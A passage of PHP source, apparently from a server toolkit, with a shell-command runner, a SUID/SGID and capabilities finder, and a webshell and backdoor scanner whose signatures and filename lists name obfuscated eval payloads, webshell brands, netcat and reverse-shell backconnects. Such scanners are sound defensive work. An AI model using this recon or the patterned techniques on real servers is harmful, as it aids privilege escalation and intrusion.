    if ($body !== '' && in_array($method, array('POST', 'PUT', 'PATCH'), true)) {
        $cmd .= ' --data ' . escapeshellarg($body);
    }
    $cmd .= ' ' . escapeshellarg($url);
    $result = runTerminal($cmd, $GLOBALS['baseDir']);
    return array('ok' => true, 'output' => $result['output']);
}

function secHash($text, $algo)
{
    $algos = array('md5', 'sha1', 'sha256', 'sha512', 'crc32');
    $algo = strtolower(trim($algo));
    if (!in_array($algo, $algos, true)) {
        return array('ok' => false, 'error' => 'Invalid algorithm');
    }
    if ($algo === 'crc32') {
        $hash = sprintf('%u', crc32($text));
    } else {
        $hash = hash($algo, $text);
    }
    $out = "=== HASH ($algo) ===\nInput length: " . strlen($text) . " bytes\n\n" . $hash;
    return array('ok' => true, 'output' => $out, 'hash' => $hash, 'algo' => $algo);
}

function secCodec($mode, $text)
{
    $mode = strtolower(trim($mode));
    $result = '';
    switch ($mode) {
        case 'b64enc':
            $result = base64_encode($text);
            break;
        case 'b64dec':
            $decoded = base64_decode($text, true);
            if ($decoded === false) return array('ok' => false, 'error' => 'Invalid Base64');
            $result = $decoded;
            break;
        case 'urlenc':
            $result = rawurlencode($text);
            break;
        case 'urldec':
            $result = rawurldecode($text);
            break;
        case 'rot13':
            $result = str_rot13($text);
            break;
        case 'hexenc':
            $result = bin2hex($text);
            break;
        case 'hexdec':
            if (!preg_match('/^[0-9a-fA-F\s]+$/', $text)) {
                return array('ok' => false, 'error' => 'Invalid hex string');
            }
            $clean = preg_replace('/\s+/', '', $text);
            if (strlen($clean) % 2 !== 0) return array('ok' => false, 'error' => 'Odd-length hex');
            $result = pack('H*', $clean);
            break;
        default:
            return array('ok' => false, 'error' => 'Unknown codec mode');
    }
    $out = "=== CODEC ($mode) ===\n\n" . $result;
    return array('ok' => true, 'output' => $out, 'result' => $result);
}

function secDns($host, $type)
{
    $host = trim($host);
    if ($host === '' || !preg_match('/^[a-zA-Z0-9.\-_]+$/', $host)) {
        return array('ok' => false, 'error' => 'Invalid hostname');
    }
    if (!function_exists('dns_get_record')) {
        return array('ok' => false, 'error' => 'dns_get_record() not available');
    }
    $type = strtoupper(trim($type));
    $map = array(
        'A' => DNS_A, 'AAAA' => DNS_AAAA, 'MX' => DNS_MX, 'TXT' => DNS_TXT,
        'NS' => DNS_NS, 'CNAME' => DNS_CNAME, 'SOA' => DNS_SOA, 'PTR' => DNS_PTR,
    );
    $lines = array('=== DNS LOOKUP: ' . $host . ' ===', '');
    if ($type === 'ALL') {
        foreach ($map as $label => $const) {
            $recs = @dns_get_record($host, $const);
            if (!empty($recs)) {
                $lines[] = '--- ' . $label . ' ---';
                foreach ($recs as $r) {
                    $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                }
                $lines[] = '';
            }
        }
    } else {
        if (!isset($map[$type])) return array('ok' => false, 'error' => 'Invalid record type');
        $recs = @dns_get_record($host, $map[$type]);
        if (empty($recs)) {
            $lines[] = '(no ' . $type . ' records)';
        } else {
            foreach ($recs as $r) {
                $lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
            }
        }
    }
    if (count($lines) <= 2) $lines[] = '(no records found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function secSuidFind($baseDir)
{
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    if ($isWin) {
        return array('ok' => true, 'output' => "=== SUID/SGID SCAN ===\nLinux/Unix only.\n");
    }
    $suid = runTerminal('find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80', $baseDir);
    $sgid = runTerminal('find /usr /bin /sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40', $baseDir);
    $cap = runTerminal('getcap -r /usr /bin /sbin 2>/dev/null | head -40', $baseDir);
    $out = "=== SUID BINARIES (setuid) ===\n" . trim($suid['output']) . "\n\n";
    $out .= "=== SGID BINARIES (setgid) ===\n" . trim($sgid['output']) . "\n\n";
    $out .= "=== CAPABILITIES ===\n" . trim($cap['output']);
    return array('ok' => true, 'output' => $out);
}

function btGetScanRoots($baseDir, $scanPath)
{
    $roots = array();
    if ($scanPath !== '') {
        $resolved = resolvePath($baseDir, $scanPath, false);
        if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
    }
    if (empty($roots)) {
        $roots[] = $baseDir;
        $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
        if ($docRoot && @is_dir($docRoot)) $roots[] = $docRoot;
        foreach (array('/var/www', '/home', '/tmp', '/var/tmp', '/opt', '/srv', '/usr/local') as $r) {
            if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
        }
    }
    return array_values(array_unique($roots));
}

function btWebshellSignatures($aggressive)
{
    $sigs = array(
        array('pattern' => '/eval\s*\(\s*base64_decode/is', 'score' => 45, 'name' => 'eval(base64_decode())'),
        array('pattern' => '/eval\s*\(\s*gz(inflate|uncompress|decode)/is', 'score' => 45, 'name' => 'eval(gz*)'),
        array('pattern' => '/eval\s*\(\s*str_rot13/is', 'score' => 40, 'name' => 'eval(str_rot13())'),
        array('pattern' => '/eval\s*\(\s*gzuncompress/is', 'score' => 45, 'name' => 'eval(gzuncompress)'),
        array('pattern' => '/assert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/is', 'score' => 45, 'name' => 'assert($_INPUT)'),
        array('pattern' => '/preg_replace\s*\([^)]*\/e["\']/is', 'score' => 45, 'name' => 'preg_replace /e'),
        array('pattern' => '/create_function\s*\(/is', 'score' => 35, 'name' => 'create_function()'),
        array('pattern' => '/(shell_exec|system|passthru|proc_open|popen|pcntl_exec)\s*\([^)]*\$_(GET|POST|REQUEST)/is', 'score' => 40, 'name' => 'cmd_exec($_INPUT)'),
        array('pattern' => '/@eval\s*\(/is', 'score' => 35, 'name' => '@eval()'),
        array('pattern' => '/gzinflate\s*\(\s*base64_decode/is', 'score' => 40, 'name' => 'gzinflate(base64)'),
        array('pattern' => '/base64_decode\s*\(\s*[\'"][A-Za-z0-9+\/=]{80,}/is', 'score' => 25, 'name' => 'long base64 blob'),
        array('pattern' => '/\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(/is', 'score' => 30, 'name' => 'variable func call $_INPUT'),
        array('pattern' => '/(FilesMan|c99shell|r57shell|WSO\s|b374k|alfa\s*shell|AnonymousFox|IndoXploit|Gecko\s*Shell|mini\s*shell)/is', 'score' => 50, 'name' => 'known webshell brand'),
        array('pattern' => '/move_uploaded_file\s*\([^)]+\)\s*;[\s\S]{0,200}(eval|assert)/is', 'score' => 35, 'name' => 'upload+eval'),
        array('pattern' => '/\\$\{\s*[\'"]\\\\x/is', 'score' => 30, 'name' => 'hex var obfuscation'),
        array('pattern' => '/(passthru|shell_exec|system|exec)\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 40, 'name' => 'direct webshell cmd'),
        array('pattern' => '/php:\/\/input/is', 'score' => 15, 'name' => 'php://input wrapper'),
        array('pattern' => '/(cmd|command|exec|shell|backdoor)\s*[\'"]?\s*=>\s*\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'cmd parameter handler'),
        array('pattern' => '/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/is', 'score' => 20, 'name' => 'chr() obfuscation chain'),
        array('pattern' => '/\\$[a-zA-Z_\x7f-\xff]{1,8}\s*=\s*[\'"][a-zA-Z0-9+\/=]{100,}[\'"]/is', 'score' => 15, 'name' => 'suspicious encoded string'),
        array('pattern' => '/\\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'double $_INPUT invoke'),
        array('pattern' => '/(include|require)(_once)?\s*\(\s*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'dynamic include $_INPUT'),
        array('pattern' => '/file_put_contents\s*\([^,]+,\s*\$_(POST|REQUEST)/is', 'score' => 30, 'name' => 'file_put from POST'),
        array('pattern' => '/\\$[a-z_]+\s*=\s*str_replace\s*\([^)]+\)\s*;\s*eval/is', 'score' => 35, 'name' => 'str_replace+eval'),
        array('pattern' => '/call_user_func\s*\(\s*[\'"]assert[\'"]/is', 'score' => 35, 'name' => 'call_user_func assert'),
        array('pattern' => '/ReflectionFunction\s*\(/is', 'score' => 20, 'name' => 'ReflectionFunction'),
        array('pattern' => '/\\$_(SERVER|FILES)\s*\[[^\]]+\]\s*\(/is', 'score' => 25, 'name' => '$_SERVER/FILES invoke'),
        array('pattern' => '/`[^`]*\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'backtick cmd $_INPUT'),
        array('pattern' => '/\\$[a-zA-Z0-9_]+\s*=\s*\\$[a-zA-Z0-9_]+\s*\(\s*\\$[a-zA-Z0-9_]+\s*\)\s*;\s*\\$[a-zA-Z0-9_]+\s*\(/is', 'score' => 20, 'name' => 'variable function chain'),
        array('pattern' => '/(cmd\.exe|\/bin\/sh|\/bin\/bash).*\\$_(GET|POST|REQUEST)/is', 'score' => 35, 'name' => 'shell binary + input'),
        array('pattern' => '/\\$[a-zA-Z0-9_]{1,3}\s*=\s*[\'"]\\x[0-9a-f]{2}/is', 'score' => 18, 'name' => 'hex byte construction'),
        array('pattern' => '/\\$GLOBALS\s*\[[^\]]+\]\s*\(/is', 'score' => 22, 'name' => '$GLOBALS func call'),
        array('pattern' => '/(WSO|uploader|FilesMan|Mini Shell|Bypass|Safe0ver|Locus7s)/is', 'score' => 40, 'name' => 'webshell keyword'),
        array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]pass[\'"]\]/is', 'score' => 18, 'name' => 'password gate $_INPUT'),
        array('pattern' => '/fsockopen\s*\([^)]+\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'fsockopen backconnect'),
        array('pattern' => '/stream_socket_client\s*\(/is', 'score' => 12, 'name' => 'stream_socket_client'),
        array('pattern' => '/\\$[a-zA-Z0-9_]+\s*=\s*\\$\{[^}]+\}/is', 'score' => 18, 'name' => 'variable variables'),
    );
    if ($aggressive) {
        $sigs = array_merge($sigs, array(
            array('pattern' => '/<\?php/is', 'score' => 8, 'name' => 'php open tag'),
            array('pattern' => '/\\$_(GET|POST|REQUEST|COOKIE)\s*\[/is', 'score' => 8, 'name' => 'superglobal input access'),
            array('pattern' => '/(shell_exec|system|passthru|exec|popen|proc_open)\s*\(/is', 'score' => 12, 'name' => 'dangerous function'),
            array('pattern' => '/base64_decode\s*\(/is', 'score' => 10, 'name' => 'base64_decode()'),
            array('pattern' => '/(eval|assert)\s*\(/is', 'score' => 15, 'name' => 'eval/assert call'),
            array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]cmd[\'"]\]/is', 'score' => 25, 'name' => 'cmd parameter'),
            array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]0[\'"]\]/is', 'score' => 20, 'name' => 'array index 0 input'),
            array('pattern' => '/auto_prepend_file|auto_append_file/is', 'score' => 30, 'name' => 'auto_prepend injection'),
            array('pattern' => '/AddHandler\s+application\/x-httpd-php/is', 'score' => 25, 'name' => 'htaccess php handler abuse'),
            array('pattern' => '/\\$_(GET|POST|REQUEST)\s*\[[\'"]z[0-9]?[\'"]\]/is', 'score' => 22, 'name' => 'obfuscated param z*'),
            array('pattern' => '/pack\s*\(\s*[\'"]H\*[\'"]/is', 'score' => 15, 'name' => 'pack hex decode'),
            array('pattern' => '/strrev\s*\(\s*base64_decode/is', 'score' => 28, 'name' => 'strrev+base64'),
            array('pattern' => '/rawurldecode\s*\(\s*base64_decode/is', 'score' => 25, 'name' => 'urldecode+base64'),
            array('pattern' => '/\\$[a-zA-Z0-9_]+\(\$\{?\\$_(GET|POST|REQUEST)/is', 'score' => 30, 'name' => 'func variable from input'),
        ));
    }
    return $sigs;
}

function btFilenameIOCs($aggressive)
{
    $iocs = array(
        'c99.php' => 55, 'r57.php' => 55, 'wso.php' => 55, 'wso2.php' => 55, 'wso1337.php' => 55,
        'shell.php' => 40, 'cmd.php' => 40, 'backdoor.php' => 55, 'b374k.php' => 55, 'b374.php' => 50,
        'alfa.php' => 50, 'alf.php' => 45, 'mini.php' => 25, 'uploader.php' => 30, 'upload.php' => 20,
        'x.php' => 25, 'xx.php' => 25, '0.php' => 30, '1.php' => 25, '2.php' => 22,
        'indoxploit.php' => 55, 'fox.php' => 40, 'leaf.php' => 35, 'marijuana.php' => 50,
        'adminer.php' => 10, '.user.ini' => 25, 'php.ini' => 15,
        'sym403.php' => 45, 'symlink.php' => 40, 'priv8.php' => 45, 'root.php' => 35,
        'hack.php' => 40, 'haxor.php' => 45, '1337.php' => 40, 'locus.php' => 40,
        'c100.php' => 45, 'r00t.php' => 40, 'sh.php' => 35, 'bypass.php' => 35,
        'up.php' => 28, 'upl.php' => 28, 'filemanager.php' => 15, 'fm.php' => 30,
    );
    if ($aggressive) {
        $iocs['test.php'] = 12;
        $iocs['tmp.php'] = 18;
        $iocs['cache.php'] = 15;
        $iocs['log.php'] = 18;
        $iocs['images.php'] = 22;
        $iocs['class.php'] = 12;
        $iocs['config.php.bak'] = 30;
        $iocs['wp-config.php.bak'] = 35;
    }
    return $iocs;
}

function btFilenameHeuristics($basename, &$score, &$hits, $aggressive)
{
    if (preg_match('/^[a-f0-9]{8,}\.(php|phtml|inc|php5)$/i', $basename)) {
        $score += 28;
        $hits[] = 'hex-random filename';
    }
    if (preg_match('/^[a-z0-9]{1,2}\.(php|phtml)$/i', $basename)) {
        $score += 22;
        $hits[] = 'short random php name';
    }
    if (preg_match('/\.(jpg|jpeg|png|gif|ico|css|txt|zip|tar|gz|bmp|webp)\.(php|phtml|php5)$/i', $basename)) {
        $score += 38;
        $hits[] = 'double extension';
    }
    if (preg_match('/(shell|backdoor|hack|exploit|webshell|c99|r57|wso|b374k|cmd|uploader|bypass|priv8|hax|1337|alfa|indoxploit|revshell|payload|trojan|spy|bot|nc\.|netcat|eval|base64|gzinflate|passthru|shell_exec)/i', $basename)) {
        $score += 20;
        $hits[] = 'malware keyword in filename';
    }
    if ($aggressive && preg_match('/^(tmp|temp|cache|log|test|old|bak|backup|dump|upload|upl|img|image|thumb|avatar|icon|css|js|class|module|helper|init|core|loader|config|setup|update|fix|repair|restore|data|info|debug|dev|demo|sample|radio|content|about|theme|plugin|widget|gate|door|key|secret|hidden|stealth|ghost|shadow|priv|root|admin|wp-|xmlrpc|install|lock|radio|content|about)\d*\.(php|phtml|php5|inc)$/i', $basename)) {
        $score += 14;
        $hits[] = 'aggressive suspicious basename';
    }
}

function btSeverityLabel($score)
{
    if ($score >= 50) return 'CRITICAL';
    if ($score >= 30) return 'HIGH';
    if ($score >= 15) return 'MEDIUM';
    return 'LOW';
}

function btScanExtensions()
{
    return array('php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8', 'phar', 'inc', 'pht', 'phpt',
        'asp', 'aspx', 'jsp', 'js', 'shtml', 'htaccess', 'cgi', 'pl', 'py', 'sh', 'rb', 'vb', 'vbs');
}

function btAnalyzeFile($path, $signatures, $filenameIOCs, $selfPath, $aggressive)
{
    $realSelf = realpath($selfPath);
    $realPath = @realpath($path);
    if ($realSelf && $realPath && $realSelf === $realPath) return null;

    $score = 0;
    $hits = array();
    $basename = strtolower(basename($path));
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    $allowedExt = btScanExtensions();
    if (!in_array($ext, $allowedExt, true) && $basename !== '.htaccess' && $basename !== '.user.ini') {
        if (!$aggressive || !preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i', $basename)) {
            return null;
        }
    }

    foreach ($filenameIOCs as $ioc => $pts) {
        if ($basename === strtolower($ioc) || ($aggressive && strpos($basename, strtolower(str_replace('.php', '', $ioc))) !== false && preg_match('/\.(php|phtml|php5|inc|bak)$/i', $basename))) {
            $score += (int)$pts;
            $hits[] = 'filename:' . $ioc;
        }
    }
    btFilenameHeuristics($basename, $score, $hits, $aggressive);

    $size = @filesize($path);
    $maxRead = $aggressive ? 524288 : 98304;
    $maxSize = $aggressive ? 8388608 : 5242880;
    if ($size === false || $size > $maxSize) {
        $minScore = $aggressive ? 10 : 15;
        return ($score >= $minScore) ? array('path' => $path, 'score' => $score, 'severity' => btSeverityLabel($score), 'hits' => $hits, 'size' => $size, 'modified' => @filemtime($path), 'note' => 'not content-scanned (large/unreadable)') : null;
    }

    $content = @file_get_contents($path, false, null, 0, min((int)$size, $maxRead));
    if ($content === false || $content === '') {
        $minScore = $aggressive ? 10 : 15;
        return ($score >= $minScore) ? array('path' => $path, 'score' => $score, 'severity' => btSeverityLabel($score), 'hits' => $hits, 'size' => $size, 'modified' => @filemtime($path)) : null;
    }

    foreach ($signatures as $sig) {
        if (@preg_match($sig['pattern'], $content)) {
            $score += (int)$sig['score'];
            $hits[] = $sig['name'];
        }
    }

    if ($size < 250 && preg_match('/eval|assert|base64_decode|shell_exec|system\s*\(|passthru\s*\(/is', $content)) {
        $score += 28;
        $hits[] = 'tiny file + dangerous func';
    }

    if ($aggressive && preg_match('/<\?(php|=)/i', $content) && preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i', $basename)) {
        $score += 35;
        $hits[] = 'php tag in non-php extension (polyglot)';
    }

    if ($aggressive && preg_match_all('/[A-Za-z0-9+\/=]{200,}/', $content, $m) && count($m[0]) >= 2) {
        $score += 12;
        $hits[] = 'multiple long encoded blobs';
    }

    $minScore = $aggressive ? 6 : 12;
    if ($score < $minScore) return null;

    return array(
        'path' => $path,
        'score' => $score,
        'severity' => btSeverityLabel($score),
        'hits' => array_values(array_unique($hits)),
        'size' => (int)$size,
        'modified' => @filemtime($path),
    );
}

function btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth)
{
    $files = array();
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $exts = btScanExtensions();
    if (!$isWin) {
        $nameParts = array();
        foreach ($exts as $e) {
            $nameParts[] = '-name ' . escapeshellarg('*.' . $e);
        }
        $nameParts[] = '-name ' . escapeshellarg('.htaccess');
        $nameParts[] = '-name ' . escapeshellarg('.user.ini');
        $nameParts[] = '-name ' . escapeshellarg('*.php*');
        $expr = '\( ' . implode(' -o ', $nameParts) . ' \)';
        foreach ($roots as $root) {
            $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth ' . (int)$maxDepth . ' ' . $expr . ' -type f 2>/dev/null | head -' . (int)$maxFiles;
            $out = runTerminal($cmd, $baseDir);
            foreach (explode("\n", $out['output']) as $line) {
                $line = trim($line);
                if ($line !== '' && @is_file($line)) $files[$line] = $line;
            }
            if (count($files) >= $maxFiles) break;
        }
    } else {
        foreach ($roots as $root) {
            btWalkCandidates($root, $exts, $files, 0, $maxDepth, $maxFiles);
            if (count($files) >= $maxFiles) break;
        }
    }
    return array_values($files);
}

function btWalkCandidates($dir, $exts, &$files, $depth, $maxDepth, $maxFiles)
{
    if ($depth > $maxDepth || count($files) >= $maxFiles) return;
    $h = @opendir($dir);
    if (!$h) return;
    while (($name = readdir($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        if (@is_file($full)) {
            $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
            if (in_array($ext, $exts, true) || $name === '.htaccess' || $name === '.user.ini') {
                $files[$full] = $full;
            }
        } elseif (@is_dir($full) && $depth < $maxDepth) {
            btWalkCandidates($full, $exts, $files, $depth + 1, $maxDepth, $maxFiles);
        }
        if (count($files) >= $maxFiles) break;
    }
    closedir($h);
}

function btFormatFindings($title, $findings, $scanned, $roots)
{
    usort($findings, function ($a, $b) {
        return (int)$b['score'] - (int)$a['score'];
    });
    $lines = array('=== ' . $title . ' ===', 'Roots: ' . implode(', ', $roots), 'Scanned: ' . $scanned . ' files', 'Findings: ' . count($findings), '');
    if (empty($findings)) {
        $lines[] = '(no threats detected in scan scope)';
        return implode("\n", $lines);
    }
    foreach ($findings as $f) {
        $mod = isset($f['modified']) ? date('Y-m-d H:i', $f['modified']) : '-';
        $sz = isset($f['size']) ? secFormatBytes($f['size']) : '-';
        $lines[] = '[' . $f['severity'] . ' score:' . $f['score'] . '] ' . $f['path'];
        $lines[] = '  modified:' . $mod . '  size:' . $sz . '  signals:' . implode(', ', $f['hits']);
        if (isset($f['note'])) $lines[] = '  note:' . $f['note'];
    }
    return implode("\n", $lines);
}

function btWebshellScan($baseDir, $scanPath, $aggressive)
{
    @set_time_limit(600);
    $aggressive = ($aggressive === true || $aggressive === 1 || $aggressive === '1' || $aggressive === 'true');
    $roots = btGetScanRoots($baseDir, $scanPath);
    $signatures = btWebshellSignatures($aggressive);
    $filenameIOCs = btFilenameIOCs($aggressive);
    $maxFiles = $aggressive ? 8000 : 2500;
    $maxFindings = $aggressive ? 500 : 120;
    $maxDepth = $aggressive ? 14 : 9;
    $candidates = btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth);
    $findings = array();
    foreach ($candidates as $file) {
        $hit = btAnalyzeFile($file, $signatures, $filenameIOCs, __FILE__, $aggressive);
        if ($hit) $findings[] = $hit;
        if (count($findings) >= $maxFindings) break;
    }
    $mode = $aggressive ? 'AGGRESSIVE' : 'STANDARD';
    $out = btFormatFindings('BACKDOOR / WEBSHELL SCAN [' . $mode . ']', $findings, count($candidates), $roots);
    $critical = 0;
    foreach ($findings as $f) {
        if ($f['severity'] === 'CRITICAL' || $f['severity'] === 'HIGH') $critical++;
    }
    return array(
        'ok' => true,
        'output' => $out,
        'count' => count($findings),
        'critical' => $critical,
        'scanned' => count($candidates),
        'findings' => $findings,
        'aggressive' => $aggressive,
    );
}

function btResolveThreatPath($baseDir, $path)
{
    $path = trim((string)$path);
    if ($path === '') return null;
    if (preg_match('/^[A-Za-z]:/', $path) || (strlen($path) > 0 && $path[0] === '/')) {
        $real = @realpath($path);
        return ($real && @is_file($real)) ? $real : null;
    }
    return resolvePath($baseDir, $path);
}

function btQuarantineDir($baseDir)
{
    $tmp = sys_get_temp_dir();
    if (!$tmp) $tmp = $baseDir;
    $dir = rtrim($tmp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'gecko_quarantine_' . substr(md5($baseDir), 0, 12);
    if (!is_dir($dir)) {
        @mkdir($dir, 0700, true);
    }
    return $dir;
}

function btManifestPath($baseDir)
{
    return btQuarantineDir($baseDir) . DIRECTORY_SEPARATOR . 'manifest.json';
}

function btLoadManifest($baseDir)
{
    $file = btManifestPath($baseDir);
    if (!is_file($file)) return array();
    $raw = @file_get_contents($file);
    if (!$raw) return array();
    $data = json_decode($raw, true);
    if (!is_array($data)) return array();
    $valid = array();
    foreach ($data as $entry) {
        if (!is_array($entry) || empty($entry['id']) || empty($entry['original'])) continue;
        if (!empty($entry['quarantine']) && !is_file($entry['quarantine'])) continue;
        $valid[] = $entry;
    }
    if (count($valid) !== count($data)) {
        btSaveManifest($baseDir, $valid);
    }
    return $valid;
}

function btSaveManifest($baseDir, $entries)
{
    $file = btManifestPath($baseDir);
    @file_put_contents($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
}

function btListQuarantine($baseDir)
{
    $entries = btLoadManifest($baseDir);
    usort($entries, function ($a, $b) {
        return (int)(isset($b['moved_at']) ? $b['moved_at'] : 0) - (int)(isset($a['moved_at']) ? $a['moved_at'] : 0);
    });
    $dir = btQuarantineDir($baseDir);
    $lines = array('=== QUARANTINE (TMP) ===', 'Location: ' . $dir, 'Items: ' . count($entries), '');
    foreach ($entries as $e) {
        $when = isset($e['moved_at']) ? date('Y-m-d H:i:s', $e['moved_at']) : '-';
        $lines[] = '[' . $e['id'] . '] ' . $e['original'];
        $lines[] = '  quarantined: ' . $when . ' → ' . (isset($e['quarantine']) ? $e['quarantine'] : '-');
    }
    if (empty($entries)) $lines[] = '(empty — no quarantined files)';
    return array(
        'ok' => true,
        'output' => implode("\n", $lines),
        'entries' => $entries,
        'count' => count($entries),
        'dir' => $dir,
    );
}

function btDeleteThreats($baseDir, $paths)
{
    $realSelf = @realpath(__FILE__);
    $quarantined = array();
    $failed = array();
    if (!is_array($paths)) {
        if (is_string($paths) && $paths !== '') $paths = array($paths);
        else $paths = array();
    }
    if (count($paths) > 200) {
        return array('ok' => false, 'error' => 'Max 200 files per batch');
    }
    $qdir = btQuarantineDir($baseDir);
    $manifest = btLoadManifest($baseDir);

    foreach ($paths as $p) {
        $p = trim((string)$p);
        if ($p === '') continue;
        $resolved = btResolveThreatPath($baseDir, $p);
        if (!$resolved) {
            $failed[] = array('path' => $p, 'error' => 'Not found or not a file');
            continue;
        }
        if ($realSelf && $resolved === $realSelf) {
            $failed[] = array('path' => $p, 'error' => 'Protected (scanner itself)');
            continue;
        }
        $id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16);
        $safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', basename($resolved));
        $qpath = $qdir . DIRECTORY_SEPARATOR . $id . '_' . $safeName;
        if (!@rename($resolved, $qpath)) {
            if (!@copy($resolved, $qpath)) {
                $failed[] = array('path' => $p, 'error' => 'Move to quarantine failed');
                continue;
            }
            @unlink($resolved);
        }
        $entry = array(
            'id' => $id,
            'original' => $resolved,
            'quarantine' => $qpath,
            'basename' => basename($resolved),
            'moved_at' => time(),
        );
        $manifest[] = $entry;
        $quarantined[] = $entry;
    }
    btSaveManifest($baseDir, $manifest);

    $out = "=== QUARANTINE REPORT (moved to tmp) ===\n";
    $out .= 'Location: ' . $qdir . "\n";
    $out .= 'Quarantined: ' . count($quarantined) . ' · Failed: ' . count($failed) . "\n\n";
    foreach ($quarantined as $q) {
        $out .= '[MOVED] ' . $q['original'] . "\n";
        $out .= '        → ' . $q['quarantine'] . ' (id:' . $q['id'] . ")\n";
    }
    foreach ($failed as $f) {
        $out .= '[FAILED]  ' . $f['path'] . ' — ' . $f['error'] . "\n";
    }
    $out .= "\nFiles can be restored from Quarantine section below.";
    return array(
        'ok' => true,
        'output' => $out,
        'quarantined' => $quarantined,
        'deleted' => array_map(function ($e) { return $e['original']; }, $quarantined),
        'failed' => $failed,
        'count' => count($quarantined),
        'dir' => $qdir,
    );
}

function btRestoreThreats($baseDir, $ids)
{
    if (!is_array($ids)) {
        if (is_string($ids) && $ids !== '') $ids = array($ids);
        else $ids = array();
    }
    if (empty($ids)) {
        return array('ok' => false, 'error' => 'No items selected to restore');
    }
    $manifest = btLoadManifest($baseDir);
    $restored = array();
    $failed = array();
    $remaining = array();
    $idSet = array_flip(array_map('strval', $ids));

    foreach ($manifest as $entry) {
        $eid = (string)$entry['id'];
        if (!isset($idSet[$eid])) {
            $remaining[] = $entry;
            continue;
        }
        $original = isset($entry['original']) ? $entry['original'] : '';
        $qpath = isset($entry['quarantine']) ? $entry['quarantine'] : '';
        if ($original === '' || !is_file($qpath)) {
            $failed[] = array('id' => $eid, 'path' => $original, 'error' => 'Quarantine file missing');
            continue;
        }
        $dest = $original;
        if (is_file($dest)) {
            $dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . '.restored.' . time() . (pathinfo($original, PATHINFO_EXTENSION) ? '.' . pathinfo($original, PATHINFO_EXTENSION) : '');
        }
        $parent = dirname($dest);
        if (!is_dir($parent)) {
            @mkdir($parent, 0755, true);
        }
        if (!@rename($qpath, $dest)) {
            if (!@copy($qpath, $dest)) {
                $failed[] = array('id' => $eid, 'path' => $original, 'error' => 'Restore failed');
                $remaining[] = $entry;
                continue;
            }
            @unlink($qpath);
        }
        $restored[] = array('id' => $eid, 'original' => $original, 'restored_to' => $dest);
    }
    btSaveManifest($baseDir, $remaining);

    $out = "=== RESTORE REPORT ===\n";
    $out .= 'Restored: ' . count($restored) . ' · Failed: ' . count($failed) . "\n\n";
    foreach ($restored as $r) {
        $out .= '[RESTORED] ' . $r['original'];
        if ($r['restored_to'] !== $r['original']) $out .= ' → ' . $r['restored_to'];
        $out .= "\n";
    }
    foreach ($failed as $f) {
        $out .= '[FAILED]   ' . (isset($f['path']) ? $f['path'] : $f['id']) . ' — ' . $f['error'] . "\n";
    }
    return array(
        'ok' => true,
        'output' => $out,
        'restored' => $restored,
        'failed' => $failed,
        'count' => count($restored),
    );
}

function btRecentChanges($baseDir, $scanPath, $days)
{
    $days = max(1, min(90, (int)$days));
    $roots = btGetScanRoots($baseDir, $scanPath);
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $lines = array('=== RECENTLY MODIFIED WEB FILES (last ' . $days . ' days) ===', '');
    foreach ($roots as $root) {
        if ($isWin) {
            $cmd = 'forfiles /P ' . escapeshellarg($root) . ' /S /D -' . $days . ' /M *.php 2>nul';
        } else {
            $cmd = 'find ' . escapeshellarg($root) . ' -maxdepth 8 -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.js" -o -name ".htaccess" \) -mtime -' . $days . ' -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -60';
        }
        $out = runTerminal($cmd, $baseDir);
        if (trim($out['output']) !== '') {
            $lines[] = '--- ' . $root . ' ---';
            $lines[] = trim($out['output']);
            $lines[] = '';
        }
    }
    if (count($lines) <= 2) $lines[] = '(no recent changes found)';
    return array('ok' => true, 'output' => implode("\n", $lines));
}

function btWritableScan($baseDir, $scanPath)
{
    $roots = btGetScanRoots($baseDir, $scanPath);
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    $lines = array('=== WORLD-WRITABLE / INSECURE PERMISSIONS ===', '');
    foreach ($roots as $root) {
        if ($isWin) continue;
